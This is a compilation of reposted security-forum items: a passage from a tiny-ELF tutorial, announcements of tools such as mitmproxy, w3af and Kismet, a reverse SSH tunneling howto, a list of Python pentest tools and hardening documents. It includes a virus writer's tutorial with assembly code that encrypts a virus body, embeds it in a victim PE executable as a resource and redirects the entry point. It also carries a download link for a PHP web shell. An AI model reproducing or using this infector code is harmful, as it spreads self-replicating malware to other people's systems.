target), or is it just assuming that it does? As a matter of fact, in that case it does. But a surprising number of other fields are being quietly ignored. So: Here's what is and isn't essential in the ELF header. The first four bytes have to contain the magic number, or else Linux won't touch it. The other three bytes in the e_ident field are not checked, however, which means we have no less than twelve contiguous bytes we can set to anything at all. e_type has to be set to 2, to indicate an executable, and e_machine has to be 3, as just noted. e_version is, like the version number inside e_ident, completely ignored. (Which is sort of understandable, seeing as currently there's only one version of the ELF standard.) e_entry naturally has to be valid, since it points to the start of the program. And clearly, e_phoff needs to contain the correct offset of the program header table in the file, and e_phnum needs to contain the right number of entries in said table. e_flags, however, is documented as being currently unused for Intel, so it should be free for us to reuse. e_ehsize is supposed to be used to verify that the ELF header has the expected size, but Linux pays it no mind. e_phentsize is likewise for validating the size of the program header table entries. This one was unchecked in older kernels, but now it needs to be set correctly. Everything else in the ELF header is about the section header table, which doesn't come into play with executable files. And now how about the program header table entry? Well, p_type has to contain 1, to mark it as a loadable segment. p_offset really needs to have the correct file offset to start loading. Likewise, p_vaddr needs to contain the proper load address. Note, however, that we're not required to load at 0x08048000. Almost any address can be used as long as it's above 0x00000000, below 0x80000000, and page-aligned. The p_paddr field is documented as being ignored, so that's guaranteed to be free. p_filesz indicates how many bytes to load out of the file into memory, and p_memsz indicates how large the memory segment needs to be, so these numbers ought to be relatively sane. p_flags indicates what permissions to give the memory segment. It needs to be readable (4), or it won't be usable at all, and it needs to also be executable (1), or else we can't execute code in it. Other bits can probably be set as well, but we need to have those at minimum. Finally, p_align gives the alignment requirements for the memory segment. This field is mainly used when relocating segments containing position-independent code (as for shared libraries), so for an executable file Linux will ignore whatever garbage we store here. All in all, that's a fair bit of leeway. In particular, a bit of scrutiny will reveal that most of the necessary fields in the ELF header are in the first half - the second half is almost completely free for munging. With this in mind, we can interpose the two structures quite a bit more than we did previously: ; tiny.asm BITS 32 org 0x00200000 db 0x7F, "ELF" ; e_ident db 1, 1, 1, 0, 0 _start: mov bl, 42 xor eax, eax inc eax int 0x80 dw 2 ; e_type dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff phdr: dd 1 ; e_shoff ; p_type dd 0 ; e_flags ; p_offset dd $$ ; e_ehsize ; p_vaddr ; e_phentsize dw 1 ; e_phnum ; p_paddr dw 0 ; e_shentsize dd filesize ; e_shnum ; p_filesz ; e_shstrndx dd filesize ; p_memsz dd 5 ; p_flags dd 0x1000 ; p_align filesize equ $ - $$ As you can (hopefully) see, the first twenty bytes of the program header table now overlap the last twenty bytes of the ELF header. The two dovetail quite nicely, actually. There are only two parts of the ELF header within the overlapped region that matter. The first is the e_phnum field, which just happens to coincide with the p_paddr field, one of the few fields in the program header table which is definitely ignored. The other is the e_phentsize field, which coincides with the top half of the p_vaddr field. These are made to match up by selecting a non-standard load address for our program, with a top half equal to 0x0020. Now we have really left behind all pretenses of portability ... $ nasm -f bin -o a.out tiny.asm $ chmod +x a.out $ ./a.out ; echo $? 42 $ wc -c a.out 64 a.out ... but it works! And the program is twelve bytes shorter, exactly as predicted. This is where I say that we can't do any better than this, but of course, we already know that we can — if we could get the program header table to reside completely within the ELF header. Can this holy grail be achieved? Well, we can't just move it up another twelve bytes without hitting hopeless obstacles trying to reconcile several fields in both structures. The only other possibility would be to have it start immediately following the first four bytes. This puts the first part of the program header table comfortably within the e_ident area, but still leaves problems with the rest of it. After some experimenting, it looks like it isn't going to quite be possible. However, it turns out that there are still a couple more fields in the program header table that we can pervert. We noted that p_memsz indicates how much memory to allocate for the memory segment. Obviously it needs to be at least as big as p_filesz, but there wouldn't be any harm if it was larger. Just because we ask for memory doesn't mean we have to use it, after all. Secondly, it turns out that, contrary to all my expectations, the executable bit can be dropped from the p_flags field. It turns out that the readable and executable bits are redundant: either one will imply the other. So, with these facts in mind, we can reorganize the file into this little monstrosity: ; tiny.asm BITS 32 org 0x00001000 db 0x7F, "ELF" ; e_ident dd 1 ; p_type dd 0 ; p_offset dd $$ ; p_vaddr dw 2 ; e_type ; p_paddr dw 3 ; e_machine dd _start ; e_version ; p_filesz dd _start ; e_entry ; p_memsz dd 4 ; e_phoff ; p_flags _start: mov bl, 42 ; e_shoff ; p_align xor eax, eax inc eax ; e_flags int 0x80 db 0 dw 0x34 ; e_ehsize dw 0x20 ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx filesize equ $ - $$ The p_flags field has been changed from 5 to 4, as we noted we could get away with doing. This 4 is also the value of the e_phoff field, which gives the offset into the file for the program header table, which is exactly where we've located it. The program (remember that?) has been moved down to lower part of the ELF header, beginning at the e_shoff field and ending inside the e_flags field. Note that the load address has been changed to a much lower number — as low as it can be, in fact. This keeps the value in the e_entry field to a reasonably small number, which is good since it's also the p_memsz number. (Actually, with virtual memory it hardly matters — we could have left it at our original value and it would work just as well. But there's no harm in being polite.) The change to p_filesz may require an explanation. Because we aren't setting the write bit in the p_flags field, Linux won't let us define a p_memsz value greater than p_filesz, since it can't zero-initialize those extra bytes if they aren't writeable. Since we can't change the p_flags field without moving the program header table out of alignment, you might think that the only solution would be to lower the p_memsz value back down to equal p_filesz (which would make it impossible to share it with e_entry). However, another solution exists, namely to increase p_filesz to equal p_memsz. That means they're both larger than the real file size — quite a bit larger, in fact — but it absolves the loader from having to write to read-only memory, which is all it cared about. And so ... $ nasm -f bin -o a.out tiny.asm $ chmod +x a.out $ ./a.out ; echo $? 42 $ wc -c a.out 52 a.out ... and so, with both the program header table and the program itself completely embedded within the ELF header, our executable file is now exactly as big as the ELF header! No more, no less. And still running without a single complaint from Linux! Now, finally, we have truly and certainly reached the absolute minimum possible. There can be no question about it, right? After all, we have to have a complete ELF header (even if it is badly mangled), or else Linux wouldn't give us the time of day! Right? Wrong. We have one last dirty trick left. It seems to be the case that if the file isn't quite the size of a full ELF header, Linux will still play ball, and fill out the missing bytes with zeros. We have no less than seven zeros at the end of our file, and if we drop them from the file image: ; tiny.asm BITS 32 org 0x00001000 db 0x7F, "ELF" ; e_ident dd 1 ; p_type dd 0 ; p_offset dd $$ ; p_vaddr dw 2 ; e_type ; p_paddr dw 3 ; e_machine dd _start ; e_version ; p_filesz dd _start ; e_entry ; p_memsz dd 4 ; e_phoff ; p_flags _start: mov bl, 42 ; e_shoff ; p_align xor eax, eax inc eax ; e_flags int 0x80 db 0 dw 0x34 ; e_ehsize dw 0x20 ; e_phentsize db 1 ; e_phnum ; e_shentsize ; e_shnum ; e_shstrndx filesize equ $ - $$ ... we can, incredibly enough, still produce a working executable: $ nasm -f bin -o a.out tiny.asm $ chmod +x a.out $ ./a.out ; echo $? 42 $ wc -c a.out 45 a.out Here, at last, we have honestly gone as far as we can go. There is no getting around the fact that the 45th byte in the file, which specifies the number of entries in the program header table, needs to be non-zero, needs to be present, and needs to be in the 45th position from the start of the ELF header. We are forced to conclude that there is nothing more that can be done. This forty-five-byte file is less than one-eighth the size of the smallest ELF executable we could create using the standard tools, and is less than one-fiftieth the size of the smallest file we could create using pure C code. We have stripped everything out of the file that we could, and put to dual purpose most of what we couldn't. Of course, half of the values in this file violate some part of the ELF standard, and it's a wonder than Linux will even consent to sneeze on it, much less give it a process ID. This is not the sort of program to which one would normally be willing to confess authorship. On the other hand, every single byte in this executable file can be accounted for and justified. How many executables have you created lately that you can say that about? Sursa: A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux

Mastering IPTables, Part I Oct 02, 2008 By Elliot Isaacson Linux comes with a powerful firewall built-in, although the interface can be a little intimidating. This is the first in a multi-part tutorial on how to master basic and not-so-basic IPTables functionality and create the perfect firewall for your home network. http://www.youtube.com/watch?v=ldB8kDEtTZA Sursa: Mastering IPTables, Part I | Linux Journal

Infecting PE files by adding new resource Author: Berniee/Fakedminded .Introduction Making a pe appender is done by various ways adding new section,increasing last section or any other ways. Here I will explain infecting pe file by adding new resource which will contain our code.The infecting code is taken from my previous virus "fag". NOTE:May be the following is to some point is un-understandable for some ,because I tried to present the method as an idea and not as explaining it in depth! . .Theory The thing behind all this is getting the job (infection) by easiest way,may be there are other ways,but that was the easiest on for me as I started. The method use : BeginUpdateResource() UpdateResource() EndUpdateResource() which are all from kernel32.dll .GettingStarted First thing we will load the file by LoadLibrary function,so as to use FindReseource()to see if ourvirus is already there in that exe file.By checking the resource name which is is 123 type RT_RCDATA in this demonstartion ,if it was there we just abort infection,you may find other ways to check for the virus infection use your imagination. -------------------CODE------------------ nfkt_this: mov [ebp+offset v_file],eax push [ebp+offset v_file] call [ebp+offset ALoadLibraryF] or eax,eax jz exit_nfkt mov [ebp+offset bwr],eax ;note I used the variable bwr ;so as not increasing no. of variables in use push RT_RCDATA push 1234 push [ebp+offset bwr] call [ebp+offset AFindResourceF];checking the virus presence,not found proceed infection. or eax,eax jnz exit_nfkt -----------------END OF CODE-------------- Then we we go on checking if it is pe! . After that we go and we make another check for resource by checking Res. Directory address if it is zeroed or not(can be omitted since we already checked it by res. func) [ cmp dword ptr [esi+136],0 je exit_nfkt ] Next we save image base and the old_eip(old entry point). Then FreeLibrary after getting the info. required (image base & entry point) -----------------CODE--------------------- mov esi,dword ptr [ebp+offset bwr] cmp word ptr [esi],"ZM" jne exit_nfkt add esi,[esi+3ch] cmp word ptr [esi],"EP" jne exit_nfkt cmp dword ptr [esi+136],0 je exit_nfkt mov eax,[esi+40] mov ebx,[esi+52] mov [ebp+offset image_base],ebx mov [ebp+offset old_eip],eax push [ebp+offset bwr] call [ebp+offset AFreeLibraryF] -----------------END OF CODE-------------- .Pursuing Infection Now After we checked the file has not been yet infected and after taking two variables (image base and old entrypoint).We continue in our goal infection by addinf new resource. The followinf functions have the major role: 1-HANDLE BeginUpdateResource ( LPCTSTR pFileName, BOOL bDeleteExistingResources ); as you can see the function needs the name of file-->the victive file and the other option is to tell us if we want all the resources to be deleted and replaced by ours or just add the new resources of ours,choose FLASE because we dont want to remove icon and other resources of that file.this function will return a handle that we save by pushing to stack inthe code below . 2-BOOL UpdateResource( HANDLE hUpdate, LPCTSTR lpType, LPCTSTR lpName, WORD wLanguage, LPVOID lpData, DWORD cbData ); Handle, our handle from BeginUpdateResource lpType,RT_RCDATA that what we need no icons lpName,1234 the name you can choose whatever names you want wLanguage,LANG_ENGLISH lpData,pointer to our virus body cbData,size of our virus.. 3-BOOL EndUpdateResource( HANDLE hUpdate, BOOL fDiscard ); handle,we just pop from the stack of the previous saved handle. fDiscard,we put it FALSE announcing the changing to be done see next code. [ the following code has a simple xor encoder( "fag" virus ) ] -----------------CODE-------------------- push vir_size push 0 call dword ptr [ebp+offset AGlobalAllocF] ;allocate enough memory for our encrypted vir or eax,eax je exit_nfkt mov [ebp+offset v_mem],eax mov esi,offset Start add esi,ebp mov edi,[ebp+offset v_mem] mov ecx,vir_size rep movsb mov ecx,vir_size sub ecx,stub_size mov eax,[ebp+offset v_mem] add eax,stub_size _encrypt: xor byte ptr [eax],12 ;simple encryption by xor inc eax loop _encrypt push FALSE push [ebp+offset v_file] call dword ptr [ebp+offset ABeginUpdateResourceF] ;starting our res. based infection (see ;above about the functions,which was ;discussed) or eax,eax jz exit_nfkt push eax push [ebp+offset v_mem] push LANG_ENGLISH push 1234 push RT_RCDATA push eax call dword ptr [ebp+offset AUpdateResourceF] ;adding the RT_RCDATA 1234 resource or eax,eax jz exit_nfkt pop eax push FALSE push eax call dword ptr [ebp+AEndUpdateResourceF] ;ending our resource update or eax,eax jz exit_nfkt -----------------END OF CODE-------------- .Fixing EntryPoint You may have noticed that I didnt use epo in "fag" virus,so I had to change the old entry point .Here using a rather lame method: Opening the file and finding out where the hell our code goes and how many offsets is it far from .res section physical offset to add .res section Virtual Address to its offset from it to get the new entry point. see code : -----------------CODE--------------------- push 0 push 0 push 3 push 0 push 2h push 40000000h or 80000000h push [ebp+offset v_file] call dword ptr [ebp+offset ACreateFileF] or eax,eax jz exit mov [ebp+offset v_filehandle],eax push 0 push eax call dword ptr [ebp+offset AGetFileSizeF] or eax,eax jz exit_nfkt mov dword ptr [ebp+offset v_size ],eax push eax push 0 call dword ptr [ebp+offset AGlobalAllocF] or eax,eax jz exit_nfkt mov dword ptr [ebp+offset v_mem],eax push 0 mov eax,offset bwr add eax,ebp push eax push dword ptr [ebp+offset v_size] push dword ptr [ebp+offset v_mem] push dword ptr [ebp+offset v_filehandle] call dword ptr [ebp+offset AReadFileF] or eax,eax jz exit_nfkt mov esi,dword ptr [ebp+offset v_mem] cmp word ptr [esi],"ZM" jne exit_nfkt add esi,[esi+3ch] cmp word ptr [esi],"EP" jne exit_nfkt push esi xor ecx,ecx xor ebx,ebx mov bx,word ptr [esi+20] ;ebx size of optional header mov cx,word ptr [esi+6] ;ecx no. of sections add esi,24 add esi,ebx xor ebx,ebx l00p_rsrc: cmp dword ptr [esi],"rsr." je found_rsrc add esi,40 loop l00p_rsrc jmp exit_nfkt found_rsrc: mov ecx,[esi+16] mov esi,[esi+20] add esi,[ebp+offset v_mem] push ecx -----------------END OF CODE-------------- here take a break,see that I put a marker in virus body at the beginning (notice in original virus--with all its contents--) so I check this marker to know the offset of my virus body away from from .res section begining. -----------------CODE--------------------- l00p_marker: cmp word ptr [esi],'kcik' je here_vir inc esi loop l00p_marker here_vir: pop edx sub edx,ecx sub edx,2 pop edi add edx,dword ptr [edi+136] mov dword ptr [edi+40],edx ;new entry point push 0 push 0 push FILE_BEGIN push dword ptr [ebp+offset v_filehandle] call dword ptr [ebp+offset ASetFilePointerF] push 0 mov eax,offset bwr add eax,ebp push eax push dword ptr [ebp+offset v_size] push dword ptr [ebp+offset v_mem] push dword ptr [ebp+offset v_filehandle] call dword ptr [ebp+offset AWriteFileF] ret exit_nfkt: -----------------END OF CODE-------------- Now what we all need is to take the old entry point and add image base to it and jmp to it. I left other things like getting kernel base and other needed functions because as I said I only wanted to present the method of infection and the other things are left to be done by you. .FinalWords If you you have any comments feedbacks or curses just contacting me through eof-project site or throught my site ,If you ever felt this method is lame or unworthy reading ! just forget about it and move on in your coding life and dont blame me of the time you and me wasted,and remember shitting also take time from your life :\ . Note :: Recently I have found some bugs regarding fag-virus,so the above tutorial represent idea rather than copy-paste code... Sursa: Infecting PE files by adding new resource(Paper) (Page 1) - Books and papers - VX Heavens forum

mitmproxy an SSL-capable intercepting proxy mitmproxy is an SSL-capable, intercepting HTTP proxy. It provides a console interface that allows traffic flows to be inspected and edited on the fly. mitmdump is the command-line version of mitmproxy, with the same functionality but without the frills. Think tcpdump for HTTP. Features Intercept and modify HTTP traffic on the fly Save HTTP conversations for later replay and analysis Replay both HTTP clients and servers Make scripted changes to HTTP traffic using Python SSL interception certs generated on the fly Download: http://mitmproxy.org/download/mitmproxy-0.4.tar.gz Sursa: mitmproxy - home

Reverse SSH Tunneling Have you ever wanted to ssh to your Linux box that sits behind NAT? Now you can with reverse SSH tunneling. This document will show you step by step how to set up reverse SSH tunneling. The reverse SSH tunneling should work fine with Unix like systems. Let's assume that Destination's IP is 192.168.20.55 (Linux box that you want to access). You want to access from Linux client with IP 138.47.99.99. Destination (192.168.20.55) <- |NAT| <- Source (138.47.99.99) 1. SSH from the destination to the source (with public ip) using command below: ssh -R 19999:localhost:22 sourceuser@138.47.99.99 * port 19999 can be any unused port. 2. Now you can SSH from source to destination through SSH tuneling: ssh localhost -p 19999 3. 3rd party servers can also access 192.168.20.55 through Destination (138.47.99.99). Destination (192.168.20.55) <- |NAT| <- Source (138.47.99.99) <- Bob's server 3.1 From Bob's server: ssh sourceuser@138.47.99.99 3.2 After the sucessful login to Source: ssh localhost -p 19999 * the connection between destination and source must be alive at all time. Tip: you may run a command (e.g. watch, top) on Destination to keep the connection active. Sursa: Reverse SSH Tunneling | HowtoForge - Linux Howtos and Tutorials

ClubHack Magazine Issue 16, May 2011 Hello friends, here we are with another issue of CHMag. This time also we have dedicated our issue to Browser Security. April witnessed the launch of CSOIndia - Indian CSO network, CSOIndia is an online community site for all CSOs & CISOs of India. In this issue we'll be covering topics such as BeEF (Browser Exploitation Framework) in Tool Gyan, and Tech Gyan article is set to expose in first ever public disclosure of Password secrets of Safari, User Agents in Moms Guide, Forensics in Matriux Vibhag, New Rules under Information Technology Act In Legal Gyan and again an amazing poster on browser security by Pankit Thakkar. So readers, how are you finding the magazine? Hope you enjoying it, do send us your feedbacks and articles toinfo@chmag.in Happy Reading and Safe surfing! Download: http://chmag.in/issue/may2011.pdf Alte numere: Issue 15, April 2011 : PDF Issue 14, March 2011 : PDF Issue 13, February 2011 : PDF Issue 12, January 2011 : PDF Sursa: ClubHACK Magazine

SalityKiller Removal Tool de la Kaspersky pentru a scapa de virusul Sality. Versiune: 1.3.6 Virus.Win32.Sality.aa, ag, bh Virus.Win32.Sality.aa,ae,ag,bh removing tool, Kaspersky Lab 2010 version 1.3.6.0 Nov 12 2010 10:13:11 scanning threads ... scanning processes ... fixing registry ... Monitoring thread started SalityRegCure: Restoring general registry keys SalityRegCure: Fixing system.ini scanning drives ... scanning C:\ ... scanning F:\ ... Monitoring thread stopped completed Infected files: 0 Infected processes: 0 Infected threads: 0 Cured files: 0 Will be cured on reboot: 0 Executed registry scripts: 1 Press any key to continue . . . Download: http://www.kaspersky.com/downloads/utils/salitykiller.zip

EgY_SpIdEr ShElL V2 ########################################### # EgY_SpIdEr ShElL V2 # # EgY_SpIdEr # # www.egyspider.eu # ########################################### Download: http://www.t00ls.org/egy.txt

Damn Small Linux Small Linux is a very versatile 50MB mini desktop oriented Linux distribution. Damn Small is small enough and smart enough to do the following things: Boot from a business card CD as a live linux distribution (LiveCD) Boot from a USB pen drive Boot from within a host operating system (that's right, it can run *inside* Windows) Run very nicely from an IDE Compact Flash drive via a method we call "frugal install" Transform into a Debian OS with a traditional hard drive install Run light enough to power a 486DX with 16MB of Ram Run fully in RAM with as little as 128MB (you will be amazed at how fast your computer can be!) Modularly grow -- DSL is highly extendable without the need to customize DSL was originally developed as an experiment to see how many usable desktop applications can fit inside a 50MB live CD. It was at first just a personal tool/toy. But over time Damn Small Linux grew into a community project with hundreds of development hours put into refinements including a fully automated remote and local application installation system and a very versatile backup and restore system which may be used with any writable media including a hard drive, a floppy drive, or a USB device. DSL has a nearly complete desktop, and a tiny core of command line tools. All applications are chosen with the best balance of functionality, size and speed. Damn Small also has the ability to act as an SSH/FTP/HTTPD server right off of a live CD. In our quest to save space and have a fully functional desktop we've made many GUI administration tools which are fast yet still easy to use. What does DSL have? XMMS (MP3, CD Music, and MPEG), FTP client, Dillo web browser, Netrik web browser, FireFox, spreadsheet, Sylpheed email, spellcheck (US English), a word-processor (Ted), three editors (Beaver, Vim, and Nano [Pico clone]), graphics editing and viewing (Xpaint, and xzgv), Xpdf (PDF Viewer), emelFM (file manager), Naim (AIM, ICQ, IRC), VNCviwer, Rdesktop, SSH/SCP server and client, DHCP client, PPP, PPPoE (ADSL), a web server, calculator, generic and GhostScript printer support, NFS, Fluxbox and JWM window managers, games, system monitoring apps, a host of command line tools, USB support, and pcmcia support, some wireless support. Download: http://www.damnsmalllinux.org/download.html

w3af w3af, is a Web Application Attack and Audit Framework. The w3af core and it's plugins are fully written in python. The project has more than 130 plugins, which check for SQL injection, cross site scripting (xss), local and remote file inclusion and much Proiect: http://w3af.sourceforge.net/ Download: http://sourceforge.net/projects/w3af/files/w3af/w3af%201.0-rc6/w3af%201.0%20rc6%20setup.exe/download

Python tools for penetration testers If you are involved in vulnerability research, reverse engineering or penetration testing, I suggest to try out the Python programming language. It has a rich set of useful libraries and programs. This page lists some of them. Most of the listed tools are written in Python, others are just Python bindings for existing C libraries, i.e. they make those libraries easily usable from Python programs. Some of the more aggressive tools (pentest frameworks, bluetooth smashers, web application vulnerability scanners, war-dialers, etc.) are left out, because the legal situation of these tools is still a bit unclear in Germany -- even after the decision of the highest court. This list is clearly meant to help whitehats, and for now I prefer to err on the safe side. Network Scapy: send, sniff and dissect and forge network packets. Usable interactively or as a library pypcap, Pcapy and pylibpcap: several different Python bindings for libpcap libdnet: low-level networking routines, including interface lookup and Ethernet frame transmission dpkt: fast, simple packet creation/parsing, with definitions for the basic TCP/IP protocols Impacket: craft and decode network packets. Includes support for higher-level protocols such as NMB and SMB pynids: libnids wrapper offering sniffing, IP defragmentation, TCP stream reassembly and port scan detection Dirtbags py-pcap: read pcap files without libpcap flowgrep: grep through packet payloads using regular expressions httplib2: comprehensive HTTP client library that supports many features left out of other HTTP libraries Knock Subdomain Scan, enumerate subdomains on a target domain through a wordlist Mallory, man-in-the-middle proxy for testing mitmproxy: SSL-capable, intercepting HTTP proxy. Console interface allows traffic flows to be inspected and edited on the fly Debugging and reverse engineering Paimei: reverse engineering framework, includes PyDBG, PIDA, pGRAPH Immunity Debugger: scriptable GUI and command line debugger IDAPython: IDA Pro plugin that integrates the Python programming language, allowing scripts to run in IDA Pro PyEMU: fully scriptable IA-32 emulator, useful for malware analysis pefile: read and work with Portable Executable (aka PE) files pydasm: Python interface to the libdasm x86 disassembling library PyDbgEng: Python wrapper for the Microsoft Windows Debugging Engine uhooker: intercept calls to API calls inside DLLs, and also arbitrary addresses within the executable file in memory diStorm64: disassembler library for AMD64, licensed under the BSD license python-ptrace: debugger using ptrace (Linux, BSD and Darwin system call to trace processes) written in Python Fuzzing Sulley: fuzzer development and fuzz testing framework consisting of multiple extensible components Peach Fuzzing Platform: extensible fuzzing framework for generation and mutation based fuzzing antiparser: fuzz testing and fault injection API TAOF, including ProxyFuzz, a man-in-the-middle non-deterministic network fuzzer untidy: general purpose XML fuzzer Powerfuzzer: highly automated and fully customizable web fuzzer (HTTP protocol based application fuzzer) FileP: file fuzzer. Generates mutated files from a list of source files and feeds them to an external program in batches SMUDGE Mistress: probe file formats on the fly and protocols with malformed data, based on pre-defined patterns Fuzzbox: multi-codec media fuzzer Forensic Fuzzing Tools: generate fuzzed files, fuzzed file systems, and file systems containing fuzzed files in order to test the robustness of forensics tools and examination systems Windows IPC Fuzzing Tools: tools used to fuzz applications that use Windows Interprocess Communication mechanisms WSBang: perform automated security testing of SOAP based web services Construct: library for parsing and building of data structures (binary or textual). Define your data structures in a declarative manner fuzzer.py (feliam): simple fuzzer by Felipe Andres Manzano Fusil: Python library used to write fuzzing programs Web ProxMon: processes proxy logs and reports discovered issues WSMap: find web service endpoints and discovery files Twill: browse the Web from a command-line interface. Supports automated Web testing Windmill: web testing tool designed to let you painlessly automate and debug your web application FunkLoad: functional and load web tester Forensics Volatility: extract digital artifacts from volatile memory (RAM) samples SandMan: read the hibernation file, regardless of Windows version LibForensics: library for developing digital forensics applications TrIDLib, identify file types from their binary signatures. Now includes Python binding Malware analysis pyew: command line hexadecimal editor and disassembler, mainly to analyze malware Exefilter: filter file formats in e-mails, web pages or files. Detects many common file formats and can remove active content pyClamAV: add virus detection capabilities to your Python software jsunpack-n, generic JavaScript unpacker: emulates browser functionality to detect exploits that target browser and browser plug-in vulnerabilities yara-python: identify and classify malware samples PDF Didier Stevens' PDF tools: analyse, identify and create PDF files (includes PDFiD, pdf-parser and make-pdf and mPDF) Opaf: Open PDF Analysis Framework. Converts PDF to an XML tree that can be analyzed and modified. Origapy: Python wrapper for the Origami Ruby module which sanitizes PDF files pyPDF: pure Python PDF toolkit: extract info, spilt, merge, crop, encrypt, decrypt... PDFMiner: extract text from PDF files python-poppler-qt4: Python binding for the Poppler PDF library, including Qt4 support Misc InlineEgg: toolbox of classes for writing small assembly programs in Python Exomind: framework for building decorated graphs and developing open-source intelligence modules and ideas, centered on social network services, search engines and instant messaging RevHosts: enumerate virtual hosts for a given IP address simplejson: JSON encoder/decoder, e.g. to use Google's AJAX API PyMangle: command line tool and a python library used to create word lists for use with other penetration testing tools Hachoir: view and edit a binary stream field by field Other useful libraries and tools IPython: enhanced interactive Python shell with many features for object introspection, system shell access, and its own special command system Beautiful Soup: HTML parser optimized for screen-scraping matplotlib: make 2D plots of arrays Mayavi: 3D scientific data visualization and plotting RTGraph3D: create dynamic graphs in 3D Twisted: event-driven networking engine Suds: lightweight SOAP client for consuming Web Services M2Crypto: most complete OpenSSL wrapper NetworkX: graph library (edges, nodes) pyparsing: general parsing module lxml: most feature-rich and easy-to-use library for working with XML and HTML in the Python language Pexpect: control and automate other programs, similar to Don Libes `Expect` system Sikuli, visual technology to search and automate GUIs using screenshots. Scriptable in Jython PyQt and PySide: Python bindings for the Qt application framework and GUI library For more libaries, please have a look at PyPI, the Python Package Index. Download links: http://dirk-loss.de/python-tools.htm

Free Security List Index 1. Realtime protection 2. Scanners 3. Tools for virus removal 4. Online-scanners 5. Firewalls 6. HIPS 7. System hardening-HIPS 8. System hardening 9. Sandboxing/virtualization 10. Vulnerability scanning and updates 11. Browser security 12. IP-blocking/hardening 13. Privacy 14. System monitoring 15. Network traffic monitoring 16. System cleaning 17. Data rescue 18. Encrypting 19. Backup 20. System rescue 21. Miscellaneous 22. Tests and malware analysis tools 23. Vista/Windows 7 specific security What's new http://www.techsupportalert.com/content/probably-best-free-security-list-world.htm

Kismet What is Kismet? Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring (rfmon) mode, and (with appropriate hardware) can sniff 802.11b, 802.11a, 802.11g, and 802.11n traffic. Kismet also supports plugins which allow sniffing other media such as DECT. Kismet identifies networks by passively collecting packets and detecting standard named networks, detecting (and given time, decloaking) hidden networks, and infering the presence of nonbeaconing networks via data traffic. Features 802.11b, 802.11g, 802.11a, 802.11n sniffing Standard PCAP file logging (Wireshark, Tcpdump, etc) Client/Server modular architecture Multi-card and channel hopping support Runtime WEP decoding Tun/Tap virtual network interface drivers for realtime export of packets Hidden SSID decloaking Distributed remote sniffing with Kismet drones XML logging for integration with other tools Linux, OSX, Windows, and BSD support (devices and drivers permitting) Download: http://www.kismetwireless.net/download.shtml

Cryptographic Cloud Storage Seny Kamara Microsoft Research senyk@microsoft.com Kristin Lauter Microsoft Research klauter@microsoft.com Abstract We consider the problem of building a secure cloud storage service on top of a public cloud in- frastructure where the service provider is not completely trusted by thecustomer. We describe,at a high level, several architectures that combine recent and non-standard cryptographic primitives in order to achieve our goal. We survey the benets such an architecture would provide to both customers and service providers and give an overview of recent advances in cryptography motivated specically by cloud storage. Download: http://research.microsoft.com/pubs/112576/crypto-cloud.pdf

Guide to the Secure Configuration of Red Hat Enterprise Linux 5 Revision 4.1 February 28, 2011 Operating Systems Division Unix Team of the Systems and Network Analysis Center National Security Agency 9800 Savage Rd. Suite 6704 Ft. Meade, MD 20755-6704 Table of Contents 1 Introduction 13 1.1 General Principles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 1.1.1 Encrypt Transmitted Data Whenever Possible . . . . . . . . . . . . . . . . . . . . . . . . 13 1.1.2 Minimize Software to Minimize Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . 13 1.1.3 Run Different Network Services on Separate Systems . . . . . . . . . . . . . . . . . . . . . 13 1.1.4 Configure Security Tools to Improve System Robustness . . . . . . . . . . . . . . . . . . . 14 1.1.5 Least Privilege . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 1.2 How to Use This Guide . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 1.2.1 Read Sections Completely and in Order . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 1.2.2 Test in Non-Production Environment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 1.2.3 Root Shell Environment Assumed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 1.2.4 Formatting Conventions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 1.2.5 Reboot Required . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 2 System-wide Configuration 17 2.1 Installing and Maintaining Software . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 2.1.1 Initial Installation Recommendations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 2.1.1.1 Disk Partitioning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 2.1.1.2 Boot Loader Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 2.1.1.3 Network Devices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 2.1.1.4 Root Password . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 2.1.1.5 Software Packages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 2.1.1.6 First-boot Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 2.1.2 Updating Software . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 2.1.2.1 Configure Connection to the RHN RPM Repositories . . . . . . . . . . . . . . . 20 2.1.2.2 Disable the rhnsd Daemon . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 2.1.2.3 Obtain Software Package Updates with yum . . . . . . . . . . . . . . . . . . . . . 21 2.1.3 Software Integrity Checking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 2.1.3.1 Configure AIDE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 2.1.3.2 Verify Package Integrity Using RPM . . . . . . . . . . . . . . . . . . . . . . . . . 24 2.2 File Permissions and Masks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 2.2.1 Restrict Partition Mount Options . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 2.2.1.1 Add nodev Option to Non-Root Local Partitions . . . . . . . . . . . . . . . . . . 25 2.2.1.2 Add nodev, nosuid, and noexec Options to Removable Storage Partitions . . . 26 2.2.1.3 Add nodev, nosuid, and noexec Options to Temporary Storage Partitions . . . 26 